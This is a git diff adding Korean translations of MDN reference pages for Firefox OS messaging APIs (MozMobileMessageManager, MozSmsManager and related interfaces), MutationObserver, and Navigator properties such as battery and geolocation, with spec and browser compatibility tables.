기기에서 WebSMS를 사용하여 MMS와 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.

+ +

이벤트 핸들러

+ +
+
{{domxref("MozMobileMessageManager.ondeliveryerror")}}
+
{{event("deliveryerror")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되지 않았을 때 발생한다.
+
{{domxref("MozMobileMessageManager.ondeliverysuccess")}}
+
{{event("deliverysuccess")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 수취인에게 전달되었을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onreceived")}}
+
{{event("received")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS를 받았을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onretrieving")}}
+
{{event("retrieving")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 검색 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onsent")}}
+
{{event("sent")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 MMS 또는 SMS가 보내졌을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onsending")}}
+
{{event("sending")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 전송 단계의 시작에 MMS 또는 SMS가 진입했을 때 발생한다.
+
{{domxref("MozMobileMessageManager.onfailed")}}
+
{{event("failed")}} 이벤트에 대한 핸들러; {{ domxref("MozMmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.
+
+ +

메소드

+ +
+
{{domxref("MozMobileMessageManager.delete","MozMobileMessageManager.delete(param)")}}
+
메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다 (DOMRequest.result는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다). 메시지 id, {{ domxref("MozSmsMessage") }} 객체 또는 {{ domxref("MozMmsMessage") }} 객체가 파라미터로 사용된다.
+
{{domxref("MozMobileMessageManager.getMessage()","MozSmsManager.getMessage(id)")}}
+
해당 id에 대한 메시지를 받아서 {{ domxref("DOMRequest") }} 객체를 반환한다. 이 객체의 DOMRequest.result는 {{ domxref("MozSmsMessage") }} 이다.
+
{{domxref("MozMobileMessageManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}
+
여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 Boolean 값에 따라 메시지의 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.
+
{{domxref("MozMobileMessageManager.getSegmentInfoForText()","MozMobileMessageManager.getSegmentInfoForText(text)")}}
+
주어진 문자(보통 SMS당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.
+
{{domxref("MozMobileMessageManager.markMessageRead()","MozMobileMessageManager.markMessageRead(id, isRead)")}}
+
해당 id 의 메시지를 Boolean isRead 값에 따라 읽음 또는 읽지 않음으로 표시한다. {{ domxref("DOMRequest") }} 객체를 반환한다.
+
{{domxref("MozMobileMessageManager.send()","MozMobileMessageManager.send(number, message)")}}
+
해당 전화번호에 메시지를 전송한다. 만약 number가 {{ domxref("DOMString") }} (한 개의 전화번호) 라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 number가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)이라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.
+
{{domxref("MozMobileMessageManager.sendMMS()","MozMobileMessageManager.sendMMS(param)")}}
+
수신자 목록에 MMS를 전송한다. {{ domxref("DOMRequest") }} 객체를 반환한다.
+ param 객체는 다음과 같은 4개의 속성을 가지고 있는 일반 JavaScript 객체이다:
+ receivers: 문자열 배열, 각 문자열은 수신자의 전화번호를 나타낸다.
+ subject: MMS의 제목을 나타내는 문자열이다.
+ smil: MMS를 정의하는 SMIL 문서의 문자열 버전이다.
+ attachments: SMIL에 의해 사용되는 첨부 파일 객체의 배열이다. 이 객체는 id, location, content ({{domxref("Blob")}})를 포함하고 있다.
+
{{domxref("MozMobileMessageManager.getThreads()")}}
+
{{domxref("MozMobileMessageThread")}} 의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환한다.
+
{{domxref("MozMobileMessageManager.retrieveMMS()","MozMobileMessageManager.retrieveMMS(id)")}}
+
해당 id의 메시지를 받아 {{ domxref("DOMRequest") }} 를 반환한다. 이 객체의 DOMRequest.result 는 {{ domxref("MozMmsMessage") }} 이다.
+
+ +

MozMobileMessageManager 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.

+ +

{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

명세

+ +

이 API는 비 표준 스펙의 구현체이다. 하지만 W3C의 System Application Working Group에서 논의되고 있다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

같이 보기

+ +
 
+ + diff --git a/files/ko/web/api/mozmobilemessagethread/index.html b/files/ko/web/api/mozmobilemessagethread/index.html new file mode 100644 index 0000000000..4e8e8048a5 --- /dev/null +++ b/files/ko/web/api/mozmobilemessagethread/index.html @@ -0,0 +1,40 @@ +--- +title: MozMobileMessageThread +slug: Web/API/MozMobileMessageThread +tags: + - Non-standard +translation_of: Archive/B2G_OS/API/MozMobileMessageThread +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

요약

+ +

DOM MozMobileMessageThread 객체는 메시지의 스레드를 나타낸다.

+ +

속성

+ +
+
{{domxref("MozMobileMessageThread.id")}} {{readonlyinline}}
+
스레드의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozMobileMessageThread.body")}} {{readonlyinline}}
+
스레드의 마지막 메시지의 본문을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozMobileMessageThread.unreadCount")}} {{readonlyinline}}
+
스레드에 있는 총 읽지 않은 메시지의 개수를 반환한다.
+
{{domxref("MozMobileMessageThread.participants")}} {{readonlyinline}}
+
스레드에 각 참가자의 주소를 나타내는 {{ domxref("DOMString") }} 의 배열을 반환한다.
+
{{domxref("MozMobileMessageThread.timestamp")}} {{readonlyinline}}
+
스레드의 마지막 메시지의 타임스탬프를 나타내는 Date 객체를 반환한다.
+
{{domxref("MozMobileMessageThread.lastMessageType")}} {{readonlyinline}}
+
sms 또는 mms 값을 가지는 {{ domxref("DOMString") }} 을 반환한다.
+
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mozsmsevent/index.html b/files/ko/web/api/mozsmsevent/index.html new file mode 100644 index 0000000000..14a7f48d51 --- /dev/null +++ b/files/ko/web/api/mozsmsevent/index.html @@ -0,0 +1,109 @@ +--- +title: MozSmsEvent +slug: Web/API/MozSmsEvent +translation_of: Archive/B2G_OS/API/MozSmsEvent +--- +

{{ Apiref() }}

+

{{ non-standard_header() }}

+

{{ B2GOnlyHeader2('certified') }}

+

요약

+

DOM MozSmsEvent 는 WebSMS 문자 메시지와 관련된 이벤트 객체이다.

+

속성

+
+
+ {{domxref("MozSmsEvent.message")}} {{readonlyinline}}
+
+ 해당 이벤트에 의해 발생된 {{ domxref("MozSmsMessage") }} 이다.
+
+

MozSmsEvent 는 또한 {{domxref("Event")}} 의 속성들을 상속받는다.

+

{{page("/en-US/docs/Web/API/Event","Properties")}}

+

메소드

+

MozSmsEvent 는 {{domxref("Event")}} 의 메소드들을 상속받는다.

+

{{page("/en-US/docs/Web/API/Event","Methods")}}

+

이벤트

+

MozSmsEvent 는 다음과 같은 이벤트들에 사용된다:

+
+
+ {{event("deliverysuccess")}}
+
+ SMS가 수신자에게 전달되었을 때 발생한다.
+
+ {{event("received")}}
+
+ SMS를 받았을 때 발생한다.
+
+ {{event("sent")}}
+
+ SMS를 보냈을 때 발생한다.
+
+

스펙

+

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+

브라우저 호환성

+

당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

참고 자료

+ diff --git a/files/ko/web/api/mozsmsfilter/index.html b/files/ko/web/api/mozsmsfilter/index.html new file mode 100644 index 0000000000..001d55e2a8 --- /dev/null +++ b/files/ko/web/api/mozsmsfilter/index.html @@ -0,0 +1,108 @@ +--- +title: MozSmsFilter +slug: Web/API/MozSmsFilter +translation_of: Archive/B2G_OS/API/MozSmsFilter +--- +

{{ Apiref() }}

+

{{ non-standard_header() }}

+

{{ B2GOnlyHeader2('certified') }}

+

요약

+

DOM MozSmsFilter 인터페이스는 {{ domxref("SmsMessage") }} 객체들을 필터링하기 위한 방법을 제공합니다.

+

속성

+
+
+ {{domxref("MozSmsFilter.startDate")}}
+
+ 메시지를 필터링하기 위한 시작일을 나타내는 Date 이다.
+
+ {{domxref("MozSmsFilter.endDate")}}
+
+ 메시지를 필터링하기 위한 종료일을 나타내는 Date 이다.
+
+ {{domxref("MozSmsFilter.numbers")}}
+
+ 전화번호로 필터링하기 위한 {{ domxref("DOMString") }} 의 배열이다.
+
+ {{domxref("MozSmsFilter.delivery")}}
+
+ 메시지를 전달 상태에 따라 필터링하기 위해 "sent"와 "received" 값을 가지게 되는 {{ domxref("DOMString") }} 이다.
+
+ {{domxref("MozSmsFilter.read")}}
+
+ 메시지를 읽었는지 읽지 않았는지를 필터링하는 Boolean 이다.
+
+ {{domxref("MozSmsFilter.threadid")}}
+
+ 스레드 id를 나타내는 숫자이다.
+
+

스펙

+

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+

브라우저 호환성

+

당연하게도, 모바일 브라우저를 주로 지원할 것으로 예상됩니다.

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("12.0") }} {{property_prefix("Moz")}}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+

참고 자료

+ diff --git a/files/ko/web/api/mozsmsmanager/index.html b/files/ko/web/api/mozsmsmanager/index.html new file mode 100644 index 0000000000..bfea424be7 --- /dev/null +++ b/files/ko/web/api/mozsmsmanager/index.html @@ -0,0 +1,95 @@ +--- +title: MozSmsManager +slug: Web/API/MozSmsManager +tags: + - Firefox OS + - Mobile + - Non-standard + - Obsolete + - Reference + - WebSMS +translation_of: Archive/B2G_OS/API/MozSmsManager +--- +
{{APIRef("Mobile Messaging API")}}
+ +
+

This API is available on Firefox OS for internal applications only.

+
+ +
+

Note: As of Gecko 25.0, this interface has been removed in favor of MozMobileMessageManager.

+
+ +

요약

+ +

기기에서 WebSMS를 사용하여 SMS 메시지 전송과 관리를 할 수 있는 기능을 제공한다.

+ +

이벤트 핸들러

+ +
+
{{domxref("MozSmsManager.ondeliveryerror")}}
+
{{event("deliveryerror")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되지 않았을 때 발생한다.
+
{{domxref("MozSmsManager.ondeliverysuccess")}}
+
{{event("deliverysuccess")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 수취인에게 전달되었을 때 발생한다.
+
{{domxref("MozSmsManager.onreceived")}}
+
{{event("received")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS를 받았을 때 발생한다..
+
{{domxref("MozSmsManager.onsent")}}
+
{{event("sent")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS가 보내졌을 때 발생한다.
+
{{domxref("MozSmsManager.onsending")}}
+
{{event("sending")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 전송 단계의 시작에 SMS가 진입했을 때 발생한다.
+
{{domxref("MozSmsManager.onfailed")}}
+
{{event("failed")}} 이벤트에 대한 핸들러; 이 {{ domxref("MozSmsEvent") }} 는 SMS 전송이 실패했을 때 발생한다.
+
+ +

메소드

+ +
+
{{domxref("MozSmsManager.delete","MozSmsManager.delete(param)")}}
+
메시지를 삭제하고 {{ domxref("DOMRequest") }} 객체를 반환한다 (DOMRequest.result는 메시지가 삭제되었는지 아닌지를 반영하는 Boolean 값이다). 메시지 id 또는 {{ domxref("MozSmsMessage") }} 객체가 파라미터로 사용된다.
+
{{domxref("MozSmsManager.getMessage()","MozSmsManager.getMessage(id)")}}
+
해당 id에 대한 메시지를 받아서 {{ domxref("DOMRequest") }} 객체를 반환한다.  이 객체의 DOMRequest.result는 {{ domxref("MozSmsMessage") }} 이다.
+
{{domxref("MozSmsManager.getMessages()","MozSmsManager.getMessages(filter, reverseOrder)")}}
+
여러 개의 메시지를 받는다. {{ domxref("MozSmsFilter") }} 객체를 사용하여 필터링이 가능하고 두번째 파라미터 boolean 값에 따라 순서를 거꾸로 바꿀 수도 있다. {{ domxref("DOMCursor") }} 를 반환한다.
+
{{domxref("MozSmsManager.getSegmentInfoForText()","MozSmsManager.getSegmentInfoForText(text)")}}
+
주어진 문자(보통 SMS 당 160 글자)에 대한 멀티 파트 SMS를 만들기 위해 필요한 정보를 가진 {{domxref("MozSmsSegmentInfo")}} 객체를 반환한다.
+
{{domxref("MozSmsManager.markMessageRead()","MozSmsManager.markMessageRead(id, isRead)")}}
+
해당 id의 메시지를 Boolean isRead 값에 따라 읽음 또는 읽지 않음으로 표시한다. {{ domxref("DOMRequest") }} 객체를 반환한다.
+
{{domxref("MozSmsManager.send()","MozSmsManager.send(number, message)")}}
+
해당 전화번호에 메시지를 전송한다. 만약 number가 {{ domxref("DOMString") }} (한 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체를 반환한다. 만약 number가 {{ domxref("DOMString") }} 객체의 배열(여러 개의 전화번호)라면 {{ domxref("DOMRequest") }} 객체의 배열을 반환한다.
+
{{domxref("MozSmsManager.getThreads()")}}
+
{{domxref("MozMobileMessageThread")}}의 목록을 받는다. {{ domxref("DOMCursor") }} 를 반환된다.
+
+ +

MozSmsManager 는 또한 {{domxref("EventTarget")}} 의 메소드를 상속받는다.

+ +

{{Page("/en-US/docs/Web/API/EventTarget","Methods")}}

+ +

명세

+ +

이 API는 비 표준 스펙의 구현체입니다. 하지만 W3C의 System Application Working Group에서 논의되고 있습니다.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mozsmsmessage/index.html b/files/ko/web/api/mozsmsmessage/index.html new file mode 100644 index 0000000000..7918a44209 --- /dev/null +++ b/files/ko/web/api/mozsmsmessage/index.html @@ -0,0 +1,56 @@ +--- +title: MozSmsMessage +slug: Web/API/MozSmsMessage +tags: + - Non-standard +translation_of: Archive/B2G_OS/API/MozSmsMessage +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('certified') }}

+ +

요약

+ +

DOM MozSmsMessage 객체는 SMS 문자 메시지를 나타내며 발신자, 수신자, 본문, 날짜와 같은 모든 정보를 가지고 있다.

+ +

속성

+ +
+
{{domxref("MozSmsMessage.type")}} {{readonlyinline}}
+
sms라는 값을 가지는 문자열이다.
+
{{domxref("MozSmsMessage.id")}} {{readonlyinline}}
+
메시지의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozSmsMessage.threadId")}} {{readonlyinline}}
+
메시지 일부의 스레드의 id를 나타내는 숫자를 반환한다.
+
{{domxref("MozSmsMessage.body")}} {{readonlyinline}}
+
메시지의 본문을 나타내는 {{ domxref("DOMString") }} 를 반환한다.
+
{{domxref("MozSmsMessage.delivery")}} {{readonlyinline}}
+
received, sending, sent, error 중 하나의 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozSmsMessage.deliveryStatus")}} {{readonlyinline}}
+
delivery 속성 값에 따라 다음과 같은 {{ domxref("DOMString") }} 을 반환한다:
+ * received : success
+ * sending  : pending 또는 not-applicable (만약 메시지가 상태 보고 요청없이 전송되었다면)
+ * sent     : pending, success, error 또는 not-applicable (만약 메시지가 상태 보고 요청없이 전송되었다면)
+ * error    : error
+
{{domxref("MozSmsMessage.read")}} {{readonlyinline}}
+
메시지를 읽었는지 읽지 않았는지를 가리키는 Boolean을 반환한다.
+
{{domxref("MozSmsMessage.receiver")}} {{readonlyinline}}
+
수신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozSmsMessage.sender")}} {{readonlyinline}}
+
발신자 이름을 나타내는 {{ domxref("DOMString") }} 을 반환한다.
+
{{domxref("MozSmsMessage.timestamp")}} {{readonlyinline}}
+
메시지의 타임스탬프인 Date 객체를 반환한다.
+
{{domxref("MozSmsMessage.messageClass")}} {{readonlyinline}}
+
normal, class-0, class-1, class-2, class-3 중 하나의 {{ domxref("DOMString") }} 을 반환한다.
+
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mozsmssegmentinfo/index.html b/files/ko/web/api/mozsmssegmentinfo/index.html new file mode 100644 index 0000000000..02f324b453 --- /dev/null +++ b/files/ko/web/api/mozsmssegmentinfo/index.html @@ -0,0 +1,36 @@ +--- +title: MozSmsSegmentInfo +slug: Web/API/MozSmsSegmentInfo +tags: + - Non-standard +translation_of: Archive/B2G_OS/API/MozSmsSegmentInfo +--- +

{{ ApiRef() }}

+ +

{{ non-standard_header() }}

+ +

요약

+ +

DOM MozSmsSegmentInfo 인터페이스는 문자가 자동으로 어떻게 세그멘트로 나누어지는에 관한 정보를 제공합니다. 각 세그먼트는 멀티 파트 SMS 메시지의 단일 SMS를 나타냅니다.

+ +

MozSmsSegmentInfo 인터페이스는 직접적으로 인스턴스화 될 수 없습니다; 각 객체를 얻기 위해서는 {{domxref("MozSmsManager.getSegmentInfoForText()")}} 메소드를 사용하십시오.

+ +

속성

+ +
+
{{domxref("MozSmsSegmentInfo.segments")}} {{readonlyinline}}
+
입력 문자열에 대한 총 세그먼트의 개수이다.
+
{{domxref("MozSmsSegmentInfo.charsPerSegment")}} {{readonlyinline}}
+
각 세그먼트당 사용 가능한 문자의 개수이다.
+
{{domxref("MozSmsSegmentInfo.charsAvailableInLastSegment")}} {{readonlyinline}}
+
마지막 세그먼트에서 사용 가능한 문자의 최대 개수이다.
+
+ +

참고 자료

+ +
 
+ + diff --git a/files/ko/web/api/mutationobserver/index.html b/files/ko/web/api/mutationobserver/index.html new file mode 100644 index 0000000000..092b7c5634 --- /dev/null +++ b/files/ko/web/api/mutationobserver/index.html @@ -0,0 +1,240 @@ +--- +title: MutationObserver +slug: Web/API/MutationObserver +translation_of: Web/API/MutationObserver +--- +

{{APIRef("DOM")}}

+ +

MutationObserver 는 개발자들에게 DOM 변경 감시를 제공합니다. DOM3 이벤트 기술 설명서에 정의된 Mutation Events 를 대체합니다.

+ +

생성자

+ +

MutationObserver()

+ +

새 DOM 변경 감시자의 인스턴스화에 대한 생성자.

+ +
new MutationObserver(
+  function callback
+);
+
+ +
Parameters
+ +
+
callback
+
콜백 함수는 각 DOM 변경시 마다 호출될 것입니다. 감시자는 두 인자와 함께 이 함수를 호출할 것입니다. 첫째 인자는 오브젝트들의 배열이며, 오브젝트의 각 형식은 {{domxref("MutationRecord")}} 입니다. 둘째 인자는 이 MutationObserver 인스턴스 입니다.
+
+ +

인스턴스 함수들

+ + + + + + + + + + + + + +
void observe( {{domxref("Node")}} target, MutationObserverInit options );
void disconnect();
Array takeRecords();
+ +
+

: {{domxref("Node")}}의 대상은 NodeJS 와 혼동되지 말아야 합니다.

+
+ +

observe()

+ +

특정 노드에서 DOM 변경의 알림을 받을 수 있도록 MutationObserver 인스턴스를 등록.

+ +
void observe(
+  {{domxref("Node")}} target,
+  MutationObserverInit options
+);
+
+ +
파라미터
+ +
+
target
+
DOM 변경을 감시할 {{domxref("Node")}}.
+
options
+
DOM 변경이 보고되어야 할 특정 MutationObserverInit 객체.
+
+ +
주: observer를 element에 추가하는 것은 addEventListner와 비슷하며, 여러 번 element를 관찰하더라도 차이가 나지 않습니다. element를 두번 관찰한다고해서 observe callback이 두 번 발생하지 않으며, disconnect()를 두번 실행하지 않아도 됩니다. 다시 말해서, 한번 element를 관찰하면 동일한 observer instance로 다시 관찰하더라도 아무 일이 발생하지 않습니다. 물론 callback object가 다르다면 다른 observer를 추가합니다.
+ +

disconnect()

+ +

DOM 변경 알림을 받는 MutationObserver 인스턴스 중지. observe() 재사용시까지 감시 콜백은 발동되지 않을 것입니다.

+ +
void disconnect();
+
+ +

takeRecords()

+ +

MutationObserver 인스턴스의 레코드 큐를 비우고 안에 든것을 반환합니다.

+ +
Array takeRecords();
+
+ +
반환값
+ +

{{domxref("MutationRecord")}}들의 배열을 반환.

+ +

MutationObserverInit

+ +

MutationObserverInit 는 다음 속성들을 가진 객체입니다:

+ +
주: 최소한 childList, attributes, 또는 characterData는 true로 설정해야합니다. 그렇지 않으면 'An invalid or ilegal string was specified' 오류가 발생합니다. 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성설명
childListSet to true if additions and removals of the target node's child elements (including text nodes) are to be observed.
attributesSet to true if mutations to target's attributes are to be observed.
characterDataSet to true if mutations to target's data are to be observed.
subtreeSet to true if mutations to target and target's descendants are to be observed.
attributeOldValueSet to true if attributes is set to true and target's attribute value before the mutation needs to be recorded.
characterDataOldValueSet to true if characterData is set to true and target's data before the mutation needs to be recorded.
attributeFilterSet to an array of attribute local names (without namespace) if not all attribute mutations need to be observed.
+ +

사용 예

+ +

다음 예제는 이 블로그 글에서 발췌했습니다.

+ +
// 대상 node 선택
+var target = document.getElementById('some-id');
+
+// 감시자 인스턴스 만들기
+var observer = new MutationObserver(function(mutations) {
+  mutations.forEach(function(mutation) {
+    console.log(mutation.type);
+  });
+});
+
+// 감시자의 설정:
+var config = { attributes: true, childList: true, characterData: true };
+
+// 감시자 옵션 포함, 대상 노드에 전달
+observer.observe(target, config);
+
+// 나중에, 감시를 중지 가능
+observer.disconnect();
+
+ +

더 보기

+ + + +

규격

+ + + + + + + + + + + + + + + + + + + + + +
규격상태의견
{{SpecName('DOM WHATWG', '#mutationobserver', 'MutationObserver')}}{{ Spec2('DOM WHATWG') }}
{{SpecName('DOM4', '#mutationobserver', 'MutationObserver')}}{{ Spec2('DOM4') }}
+ +

브라우저 호환성

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
Feature크롬파이어폭스 (Gecko)인터넷 익스플로러오페라사파리
기본 지원18 {{property_prefix("-webkit")}}
+ 26
{{CompatGeckoDesktop(14)}}11156.0 {{property_prefix("-webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
Feature안드로이드안드로이드용 크롬파이어폭스 모바일 (Gecko)IE 폰오페라 모바일사파리 모바일
기본 지원4.418 {{property_prefix("-webkit")}}
+ 26
{{CompatGeckoMobile(14)}}11 (8.1)156 {{property_prefix("-webkit")}}
+ 7
+
diff --git a/files/ko/web/api/navigator/battery/index.html b/files/ko/web/api/navigator/battery/index.html new file mode 100644 index 0000000000..1acf5f111b --- /dev/null +++ b/files/ko/web/api/navigator/battery/index.html @@ -0,0 +1,24 @@ +--- +title: window.navigator.battery +slug: Web/API/Navigator/battery +translation_of: Web/API/Navigator/battery +--- +

{{ Apiref() }}

+

요약

+

battery 객체는 시스템의 배터리 충전 상태에 대한 정보를 제공합니다. 배터리의 충전 상태가 변화할때 발생하는 이벤트에 대한 처리도 가능 합니다. 이 객체는 Battery Status API 의 구현입니다. 보다 자세한 내용, API, 샘플 코드 등은 문서를 참고 해 주세요.

+

문법

+
var battery = window.navigator.battery;
+

+

navigator.battery 는 {{domxref("BatteryManager")}} 객체 입니다.

+

명세

+

{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}

+

브라우저 호환

+

{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}

+

참고

+ diff --git a/files/ko/web/api/navigator/geolocation/index.html b/files/ko/web/api/navigator/geolocation/index.html new file mode 100644 index 0000000000..602e294065 --- /dev/null +++ b/files/ko/web/api/navigator/geolocation/index.html @@ -0,0 +1,50 @@ +--- +title: Navigator.geolocation +slug: Web/API/Navigator/geolocation +tags: + - API + - Geolocation API + - Navigator + - Property + - Reference + - Secure context +translation_of: Web/API/Navigator/geolocation +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Navigator.geolocation 읽기 전용 속성은 웹에서 장치의 위치를 알아낼 때 사용할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다. 웹 사이트나 웹 앱은 위치정보를 사용해 결과 화면을 맞춤 설정할 수 있습니다.

+ +
+

참고: 보안 상의 문제로, 웹 페이지가 위치 정보에 접근을 시도하면 사용자에게 알림을 보내고 권한을 허용할지 묻습니다. 각 브라우저는 자신만의 권한 정책과 요청 방식을 가지고 있으므로 주의해야 합니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-navigator-geolocation', 'Navigator.geolocation')}}{{Spec2('Geolocation')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Navigator.geolocation")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/navigator/index.html b/files/ko/web/api/navigator/index.html new file mode 100644 index 0000000000..62f16807f7 --- /dev/null +++ b/files/ko/web/api/navigator/index.html @@ -0,0 +1,137 @@ +--- +title: Navigator +slug: Web/API/Navigator +tags: + - API + - DOM + - Interface + - Navigator + - Reference + - Web +translation_of: Web/API/Navigator +--- +
{{APIRef("DOM4")}}
+ +

Navigator 인터페이스는 {{glossary("user agent", "사용자 에이전트")}}의 상태와 신원 정보를 나타냅내며, 스크립트로 해당 정보를 질의할 때와 애플리케이션을 특정 활동에 등록할 때 사용합니다.

+ +

Navigator 객체는 {{domxref("window.navigator")}} 읽기 전용 속성으로 접근할 수 있습니다.

+ +

속성

+ +

아무 속성도 상속하지 않지만, {{domxref("NavigatorID")}}, {{domxref("NavigatorLanguage")}}, {{domxref("NavigatorOnLine")}}, {{domxref("NavigatorContentUtils")}}, {{domxref("NavigatorStorage")}}, {{domxref("NavigatorStorageUtils")}}, {{domxref("NavigatorConcurrentHardware")}}, {{domxref("NavigatorPlugins")}}, {{domxref("NavigatorUserMedia")}}가 정의한 속성을 구현합니다.

+ +

표준 속성

+ +
+
{{domxref("Navigator.connection")}} {{readonlyInline}} {{experimental_inline}}
+
장치의 네트워크 연결 정보를 담은 {{domxref("NetworkInformation")}} 객체를 반환합니다.
+
{{domxref("Navigator.cookieEnabled")}} {{readonlyinline}}
+
{{glossary("cookie", "쿠키")}} 설정을 할 수 있으면 참, 아니면 거짓을 반환합니다.
+
{{domxref("Navigator.credentials")}} {{readonlyInline}}
+
사용자 인증 정보를 요청하고, 로그인과 회원가입 등 중요한 이벤트의 발생을 {{glossary("user agent", "사용자 에이전트")}}에 알려줄 수 있는 {{domxref("CredentialsContainer")}} 인터페이스를 반환합니다.
+
{{domxref("Navigator.deviceMemory")}} {{readonlyInline}} {{experimental_inline}}
+
장치의 메모리를 기가바이트 단위로 반환합니다. 근삿값으로서, 실제 값을 가장 가까운 2의 배수로 반올림한 후에 1024로 나눠서 제공합니다.
+
{{domxref("Navigator.doNotTrack")}} {{readonlyInline}} {{experimental_inline}}
+
사용자의 추적 거부 설정 값을 반환합니다. 값이 "yes"면 웹 사이트 또는 앱에서 사용자를 추적하지 않아야 합니다.
+
{{domxref("Navigator.geolocation")}} {{readonlyInline}}
+
장치의 위치 정보에 접근할 수 있는 {{domxref("Geolocation")}} 객체를 반환합니다.
+
{{domxref("NavigatorConcurrentHardware.hardwareConcurrency")}} {{readonlyInline}}
+
중앙처리장치의 사용 가능한 논리 코어 수를 반환합니다.
+
{{domxref("NavigatorPlugins.javaEnabled")}} {{readonlyInline}}
+
호스트 브라우저에서 Java를 사용 가능한지 나타냅니다.
+
{{domxref('Navigator.keyboard')}} {{readonlyinline}} {{experimental_inline}}
+
Returns a {{domxref('Keyboard')}} object which provides access to functions that retrieve keyboard layout maps and toggle capturing of key presses from the physical keyboard.
+
{{domxref("NavigatorLanguage.language")}} {{readonlyInline}}
+
사용자의 선호 언어(주로 브라우저 UI 언어)를 나타내는 {{domxref("DOMString")}}을 반환합니다. 언어를 알 수 없는 경우 null을 반환합니다.
+
{{domxref("NavigatorLanguage.languages")}} {{readonlyInline}} {{experimental_inline}}
+
